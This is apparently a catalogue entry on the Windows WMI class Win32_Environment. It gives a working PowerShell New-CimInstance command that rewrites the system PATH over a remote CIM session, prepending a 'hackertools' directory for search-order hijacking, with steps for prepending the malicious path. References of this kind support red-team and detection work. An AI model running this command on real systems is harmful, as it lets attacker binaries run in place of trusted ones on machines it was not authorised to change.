.. / Win32_Environment

Represents an environment or system environment setting on a Windows computer system

Functions:	Manage
Type:	WMI
Toolsets:	Builtin CIMSession

Manage

Set environment variable

New-CimInstance -ClassName Win32_Environment -Property @{Name="PATH";VariableValue="C:\hackertools; C:\Windows\System32;C:\Windows";UserName="<SYSTEM>"} -CimSession $s

Usecase
Change PATH environment variable for search order hijacking

Comments

Create CimSession $s using New-CimSession
For the VariableValue, first obtain the current PATH using Get-CimInstance and then prefix it with the malicious path
Namespace: ROOT\Cimv2

Updated: 2023-07-01

Contributor: Arris Huijgen (bitsadmin)